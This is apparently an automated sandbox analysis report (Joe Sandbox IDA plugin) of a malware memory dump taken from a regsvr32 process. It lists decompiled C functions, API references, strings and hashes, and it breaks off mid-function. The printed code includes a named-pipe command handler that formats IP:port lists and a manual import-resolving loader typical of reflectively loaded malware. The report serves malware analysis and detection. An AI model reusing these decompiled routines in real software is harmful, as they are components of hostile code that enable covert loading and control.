0x00743496
0x00743499
0x00743499
0x00743461
0x00743462
0x00743468
0x0074346a
0x0074346a
0x0074346f
0x0074346e
0x0074346e
0x00743476
0x00743482
0x0074348c
0x0074348c
0x00000000
0x00743438
0x00743438
0x00743438
0x0074343e
0x00000000
0x00000000
0x00743440
0x00743446
0x0074344b
0x00000000
0x0074344b
0x00743428

APIs

_snprintf.MSVCRT ref: 007433FE
strchr.MSVCRT ref: 0074341E
strchr.MSVCRT ref: 0074342D
strchr.MSVCRT ref: 00743452

Strings

%.*g, xrefs: 007433F5

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: strchr$_snprintf
String ID: %.*g
API String ID: 3619936089-952554281
Opcode ID: b99d6b85e131cc753bc83a47c1f31d40d6aa6adb4d64de80687aff47ca20bd42
Instruction ID: 55112ebdcb4d469c30cdde637fc9fec0d25151d1473b455e52bed121a7813dff
Opcode Fuzzy Hash: b99d6b85e131cc753bc83a47c1f31d40d6aa6adb4d64de80687aff47ca20bd42
Instruction Fuzzy Hash: 0421246264469567EB229E2DEC8AFFF77989F12720F144125F94C8A181E7AC9F4043D1

Uniqueness

Uniqueness Score: -1.00%

Function 00733775 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 310
pipeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00733775(void* __fp0) {
				signed int _v144;
				signed int _v152;
				char _v160;
				char _v164;
				char _v168;
				signed int _v172;
				char _v176;
				intOrPtr _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				char _v200;
				signed int _v204;
				intOrPtr _t72;
				intOrPtr _t75;
				signed int _t80;
				signed int _t81;
				signed int _t84;
				signed int _t87;
				signed int _t88;
				signed int _t100;
				void* _t102;
				void* _t103;
				unsigned int* _t104;
				signed int _t110;
				signed int _t113;
				void* _t118;
				intOrPtr _t124;
				signed int _t127;
				intOrPtr _t129;
				intOrPtr _t132;
				void* _t133;
				void* _t136;
				signed int _t145;
				signed int _t147;
				signed short* _t148;
				signed int _t158;
				intOrPtr* _t182;
				void* _t186;
				void* _t187;
				void* _t188;
				signed short* _t191;
				void* _t195;
				signed int _t198;
				signed int _t199;
				signed int _t203;
				signed int _t204;
				char _t205;
				signed int _t207;
				void* _t209;
				void* _t215;
				void* _t222;

				_t222 = __fp0;
				_t209 = (_t207 & 0xfffffff8) - 0xac;
				_v144 = 0;
				_v172 = 0;
				while(1) {
					_t72 =  *0x74f8d0; // 0xc2f8c0
					_push(0);
					_push( *0x74f8b4);
					_v152 = 0;
					if( *((intOrPtr*)(_t72 + 0xe0))() == 0 && GetLastError() != 0x217) {
						break;
					}
					_push(0);
					_push( &_v160);
					_t75 =  *0x74f8d0; // 0xc2f8c0
					_push(0x80000);
					_push( *0x74f974);
					_push( *0x74f8b4);
					if( *((intOrPtr*)(_t75 + 0x90))() == 0 || _v180 == 0) {
						GetLastError();
						goto L56;
					} else {
						_t148 =  *0x74f974; // 0x0
						_t80 =  *_t148 & 0x0000ffff;
						_t215 = _t80 - 8;
						if(_t215 > 0) {
							_t81 = _t80 - 9;
							__eflags = _t81;
							if(_t81 == 0) {
								E007409C3( &_v200);
								L12:
								_t84 =  &_v200;
								L13:
								_push(4);
								L14:
								_push(_t84);
								_push(5);
								L31:
								_pop(_t186);
								E0073D297(_t186);
								L32:
								L56:
								DisconnectNamedPipe( *0x74f8b4);
								_push(0);
								_pop(0);
								_push(1);
								_pop(1);
								if(_v172 == 0) {
									continue;
								}
								break;
							}
							_t87 = _t81;
							__eflags = _t87;
							if(_t87 == 0) {
								_v204 = 0;
								_t88 = E007316B0( &_v204, _t222);
								_v188 = _t88;
								__eflags = _t88;
								if(_t88 == 0) {
									_push(4);
									_v192 = 0;
									_push( &_v192);
									L19:
									_push(0xa);
									goto L31;
								}
								_t145 = _v204;
								_t90 = _t145 * 0x16;
								_v184 = _t145 * 0x16;
								_t203 = E00738DC9(_t90);
								_v192 = _t203;
								__eflags = _t203;
								if(_t203 == 0) {
									_t64 =  &_v192;
									 *_t64 = _v192 & 0x00000000;
									__eflags =  *_t64;
									_push(4);
									_push( &_v192);
									_t187 = 0xa;
									E0073D297(_t187);
									L52:
									E00738DDF( &_v188, _t145);
									goto L32;
								}
								_t198 = 0;
								__eflags = _t145;
								if(_t145 == 0) {
									L50:
									_push(E0073A5D0(_t203));
									_push(_t203);
									_t188 = 5;
									E0073D297(_t188);
									E00738DDF( &_v192, 0xffffffff);
									_t209 = _t209 + 0x10;
									goto L52;
								}
								_t158 = _v188 + 4;
								__eflags = _t158;
								_v204 = _t158;
								do {
									__eflags = _t198;
									if(_t198 != 0) {
										__eflags = _t198 - _t145 - 1;
										if(_t198 < _t145 - 1) {
											_t102 = E0073A5D0(_t203);
											_t158 = _v204;
											 *((short*)(_t102 + _t203)) = 0x3b;
										}
									}
									_t100 =  *_t158;
									_v196 = _t100;
									__eflags = _t100;
									if(_t100 != 0) {
										_t103 = E0073A5D0(_t203);
										_t104 = _v204;
										_push(_t104[1] & 0x0000ffff);
										_push( *_t104 >> 0x18);
										_push(_t104[0] & 0x000000ff);
										_push(_t104[0] & 0x000000ff);
										_t110 = E0073A5D0(_t203) + _t203;
										__eflags = _t110;
										E00739FA5(_t110, _v184 - _t103, "%u.%u.%u.%u:%u", _v196 & 0x000000ff);
										_t158 = _v204;
										_t209 = _t209 + 0x20;
									}
									_t198 = _t198 + 1;
									_t158 = _t158 + 0x20;
									_v204 = _t158;
									__eflags = _t198 - _t145;
								} while (_t198 < _t145);
								goto L50;
							}
							__eflags = _t87 != 1;
							if(_t87 != 1) {
								goto L56;
							}
							_v204 = 0;
							_t113 = E007316B0( &_v204, _t222);
							_t204 = _v204;
							_v196 = _t113;
							__eflags = _t113;
							if(_t113 != 0) {
								E00738DDF( &_v196, _t204);
							}
							_v204 = _t204 * 0x16;
							_t84 =  &_v204;
							goto L13;
						}
						if(_t215 == 0) {
							_t84 = E007409C3( &_v200);
							L16:
							__eflags = _t84;
							if(_t84 == 0) {
								_push(0);
								_push(0);
								goto L19;
							}
							_push(_v200);
							goto L14;
						}
						_t118 = _t80 - 1;
						if(_t118 == 0) {
							_t199 = E00739D29( &(_t148[4]), 0x20, 1,  &_v176);
							_v196 = _t199;
							__eflags = _t199;
							if(_t199 == 0) {
								L30:
								_t191 =  *0x74f974; // 0x0
								E0073A06E( &_v164,  &(_t191[4]), 0x80);
								_push(0x84);
								_push( &_v168);
								_push(2);
								goto L31;
							}
							_t205 = _v176;
							__eflags = _t205 - 1;
							if(__eflags <= 0) {
								_t124 = E00731D97(E0073A102( *_t199, __eflags), 0, 0, 0);
								_t209 = _t209 + 0x10;
								_v168 = _t124;
								goto L30;
							}
							_t125 = _t205 - 1;
							_v184 = _t205 - 1;
							_t127 = E00738DC9(_t125 << 2);
							_v188 = _t127;
							__eflags = _t127;
							if(_t127 == 0) {
								goto L30;
							}
							_t147 = 1;
							__eflags = _t205 - 1;
							if(__eflags <= 0) {
								L28:
								_t129 = E00731D97(E0073A102( *_t199, __eflags), _t127, _v184, 0);
								_t209 = _t209 + 0x10;
								_v168 = _t129;
								E00739E22( &_v176);
								goto L30;
							}
							_v204 = _t127;
							do {
								_t132 = E00739A76( *((intOrPtr*)(_t199 + _t147 * 4)), E0073A5D0( *((intOrPtr*)(_t199 + _t147 * 4))));
								_t182 = _v204;
								_t147 = _t147 + 1;
								 *_t182 = _t132;
								_v204 = _t182 + 4;
								__eflags = _t147 - _t205;
							} while (__eflags < 0);
							_t127 = _v188;
							goto L28;
						}
						_t133 = _t118 - 3;
						if(_t133 == 0) {
							_push(0);
							_push(0);
							_t195 = 5;
							E0073D297(_t195);
							 *0x74f9a8 = 1;
							_v172 = 1;
							goto L56;
						}
						_t136 = _t133;
						if(_t136 == 0) {
							_t84 = E007409A1( &_v200);
							goto L16;
						}
						if(_t136 != 1) {
							goto L56;
						}
						E007409A1( &_v200);
						goto L12;
					}
				}
				return 0;
			}

0x00733775
0x0073377b
0x00733788
0x0073378d
0x00733791
0x00733791
0x00733796
0x00733797
0x0073379d
0x007337a9
0x00000000
0x00000000
0x007337bc
0x007337c1
0x007337c2
0x007337c7
0x007337cc
0x007337d2
0x007337e0
0x00733aec
0x00000000
0x007337f1
0x007337f1
0x007337f7
0x007337fa
0x007337fd
0x0073396b
0x0073396b
0x0073396e
0x00733ae2
0x0073382c
0x0073382d
0x00733831
0x00733831
0x00733833
0x00733833
0x00733834
0x0073394f
0x0073394f
0x00733950
0x00733955
0x00733af2
0x00733af8
0x00733b03
0x00733b05
0x00733b06
0x00733b08
0x00733b09
0x00000000
0x00000000
0x00000000
0x00733b09
0x00733975
0x00733975
0x00733978
0x007339bd
0x007339c1
0x007339c6
0x007339ca
0x007339cc
0x00733acd
0x00733ad3
0x00733ad7
0x00733852
0x00733852
0x00000000
0x00733852
0x007339d2
0x007339d6
0x007339da
0x007339e3
0x007339e5
0x007339ea
0x007339ec
0x00733aa7
0x00733aa7
0x00733aa7
0x00733ab0
0x00733ab2
0x00733ab5
0x00733ab6
0x00733abd
0x00733ac3
0x00000000
0x00733ac3
0x007339f2
0x007339f4
0x007339f6
0x00733a85
0x00733a8c
0x00733a8d
0x00733a90
0x00733a91
0x00733a9d
0x00733aa2
0x00000000
0x00733aa2
0x00733a00
0x00733a00
0x00733a03
0x00733a07
0x00733a07
0x00733a09
0x00733a0e
0x00733a10
0x00733a13
0x00733a19
0x00733a1d
0x00733a1d
0x00733a10
0x00733a23
0x00733a25
0x00733a29
0x00733a2b
0x00733a2e
0x00733a35
0x00733a3e
0x00733a44
0x00733a49
0x00733a52
0x00733a6a
0x00733a6a
0x00733a6d
0x00733a72
0x00733a76
0x00733a76
0x00733a79
0x00733a7a
0x00733a7d
0x00733a81
0x00733a81
0x00000000
0x00733a07
0x0073397a
0x0073397d
0x00000000
0x00000000
0x00733987
0x0073398b
0x00733990
0x00733994
0x00733998
0x0073399a
0x007339a2
0x007339a8
0x007339ac
0x007339b0
0x00000000
0x007339b0
0x00733803
0x00733961
0x00733845
0x00733846
0x00733848
0x00733850
0x00733851
0x00000000
0x00733851
0x0073384a
0x00000000
0x0073384a
0x00733809
0x0073380c
0x00733884
0x00733886
0x0073388c
0x0073388e
0x0073392b
0x0073392b
0x0073393d
0x00733943
0x0073394c
0x0073394d
0x00000000
0x0073394d
0x00733894
0x00733898
0x0073389b
0x0073391f
0x00733924
0x00733927
0x00000000
0x00733927
0x0073389d
0x007338a0
0x007338a8
0x007338ad
0x007338b2
0x007338b4
0x00000000
0x00000000
0x007338b8
0x007338b9
0x007338bb
0x007338ea
0x007338f9
0x007338fe
0x00733901
0x0073390d
0x00000000
0x0073390d
0x007338bd
0x007338c1
0x007338cf
0x007338d4
0x007338d8
0x007338d9
0x007338de
0x007338e2
0x007338e2
0x007338e6
0x00000000
0x007338e6
0x0073380e
0x00733811
0x00733859
0x0073385a
0x0073385d
0x0073385e
0x00733865
0x0073386b
0x00000000
0x0073386b
0x00733814
0x00733817
0x00733840
0x00000000
0x00733840
0x0073381c
0x00000000
0x00000000
0x00733827
0x00000000
0x00733827
0x007337e0
0x00733b17

APIs

GetLastError.KERNEL32 ref: 007337AB

Part of subcall function 0073D297: FlushFileBuffers.KERNEL32(00000000,?,00733ABB,00000000,00000004), ref: 0073D2DD

DisconnectNamedPipe.KERNEL32 ref: 00733AF8

Strings

%u.%u.%u.%u:%u, xrefs: 00733A5B

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: BuffersDisconnectErrorFileFlushLastNamedPipe
String ID: %u.%u.%u.%u:%u
API String ID: 465096328-3858738763
Opcode ID: 9f5410a866cfaf336270577ba830f64000211f9d98177bf0e3a0e21c7e8bac0d
Instruction ID: 5b7b3e3b8be2116c590ca9ae191e7470d6a24ae17c296175977b28b92a254cb0
Opcode Fuzzy Hash: 9f5410a866cfaf336270577ba830f64000211f9d98177bf0e3a0e21c7e8bac0d
Instruction Fuzzy Hash: E1A1C272508301EFF324DF64D889A6BB7E8EF84314F14892EF59587182EB7CDA058B56

Uniqueness

Uniqueness Score: -1.00%

Function 0074376C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0074376C(signed int __eax, void* __ecx, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				void* _t163;
				void* _t167;

				_t167 = __ecx;
				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E0073F024(_t167, _v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t34 = _v8 + 0xc; // 0xffff
						_v36 = LoadLibraryA( *_t34 + _a4);
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_t43 = _v8 + 0x10; // 0xb8
								_v12 =  *_t43 + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_t73 = _v8 + 0x10; // 0xb8
									_v24 =  *((intOrPtr*)( *_t73 + _a4 + _v28));
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										_t89 = _v8 + 0x10; // 0xb8
										 *( *_t89 + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x0074376c
0x00743772
0x0074377a
0x0074378f
0x007437a1
0x007437ad
0x007437b3
0x007437b8
0x007437c4
0x0074392f
0x00000000
0x0074392f
0x007437ca
0x007437d3
0x007437e1
0x007437e4
0x007437f3
0x007437f3
0x007437fa
0x00743808
0x0074380b
0x0074381b
0x00743828
0x0074382f
0x0074383f
0x00743851
0x00743857
0x00743841
0x00743849
0x00743849
0x0074385a
0x0074385e
0x0074386a
0x0074386e
0x00743872
0x00743876
0x00743882
0x007438ad
0x007438b5
0x007438bb
0x007438c7
0x007438d3
0x00743884
0x00743889
0x00743894
0x007438a0
0x007438a0
0x007438dc
0x007438e2
0x007438ec
0x00743908
0x007438ee
0x007438f1
0x007438fd
0x007438fd
0x007438ec
0x00743910
0x00743919
0x00743919
0x00743927
0x00000000
0x00743927
0x00743833
0x00000000
0x00743833
0x00000000
0x0074380b
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00743789
LoadLibraryA.KERNEL32(00000000), ref: 00743822

Strings

GetProcAddress, xrefs: 00743792
kernel32.dll, xrefs: 00743784

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: 395b7ce2dc5178c3de679385d202ea570d36168c5c7f22c7c888e455f90f1d84
Instruction ID: 095df1f3b1668eaa056dd43cd5ede3a9522e0824e1b97904f75cc790fc057508
Opcode Fuzzy Hash: 395b7ce2dc5178c3de679385d202ea570d36168c5c7f22c7c888e455f90f1d84
Instruction Fuzzy Hash: DA618D75D00209EFDB00CF98C985BADBBF1FF08315F248599E855AB2A1D378AA80DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0073E9AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0073E9E3
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0073E9F2

Strings

ks, xrefs: 0073EA3C, 0073EA41

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: ArrayBoundSafe
String ID: ks
API String ID: 62119774-4038699377
Opcode ID: f1e9deb529376a894b01802262160690e0dd187b2448e26d541ea72c89b5f792
Instruction ID: 09d7cc169fd14443511f3cc9ecbe9995f10c90392592209445f14a6af1cb791c
Opcode Fuzzy Hash: f1e9deb529376a894b01802262160690e0dd187b2448e26d541ea72c89b5f792
Instruction Fuzzy Hash: BD31A372E5121EAFFB20CA94CC46BFEB779BB04700F148456F605A22D3D7B8AA449791

Uniqueness

Uniqueness Score: -1.00%

Function 00744160 Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00744160(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0x5d08408b
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0x51ec8b55
					_t12 = _t272 + 0x5c; // 0xee85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E00747180(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E00745EE0(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0xee85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E00746020( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0x51ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0x51ec8b55
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x8508458b
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0x51ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0x51ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x830a74c0
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0xee85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x8508458b
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0x51ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t255 = _a4;
						_t220 =  *((intOrPtr*)(_a4 + 4));
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E00746020(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0x51ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0x5d08408b
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0xee85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0xee85000
							E00747180(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E00745EE0( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0xee85000
